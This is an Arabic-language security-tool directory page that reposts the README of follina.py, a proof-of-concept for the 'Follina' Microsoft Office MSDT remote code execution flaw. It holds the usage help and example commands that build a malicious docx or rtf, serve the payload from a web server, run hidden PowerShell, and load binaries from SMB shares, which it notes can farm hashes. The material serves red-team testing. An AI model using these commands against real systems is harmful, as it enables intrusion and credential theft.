Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
follina.py — POC لإعادة إنتاج ثغرة 'Follina' الكاملة في Office RCE لأغراض الاختبار | Kitploit
أدوات/GitHubGitHub/chvancooten/follina.py
توليد الحمولةالاستغلالاختبار الاختراقالفريق الأحمر
GitHubchvancooten/follina.py

follina.py

POC لإعادة إنتاج ثغرة 'Follina' الكاملة في Office RCE لأغراض الاختبار

عرض المستودع
1.1k248منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة 'Follina' MS-MSDT n-day في Microsoft Office RCE

نموذج إثبات مفهوم (POC) سريع لإعادة إنتاج ثغرة 'Follina' Office RCE لأغراض الاختبار المحلي. عند تشغيل السكريبت، سيتم إنشاء ملف حمولة clickme.docx (أو clickme.rtf) في مجلد العمل الحالي، وسيتم تشغيل خادم ويب يقدّم ملف الحمولة (www/exploit.html). يمكن ضبط معاملات الحمولة وخادم الويب (انظر المساعدة والأمثلة).

⚠ لا تستخدمه في بيئة الإنتاج وإلا فسيُنظر إليك كأحمق

الاستخدام:

root@kitploit:~
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80

أمثلة:

root@kitploit:~
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

أشخاص رائعون

شكرًا لـ Kevin Beaumont على تحليله الأصلي للمشكلة، و@KevTheHermit على مشاركة الـ POC الخاص بهم، وJohn Hammond على عمله الإضافي في تحليل متطلبات الحمولة. كما نشكر @mkolsek على القالب الداعم لـ Office 2019، و@theluemmel على مشاركة نسخته من الحمولة معي.

تنزيل الأداة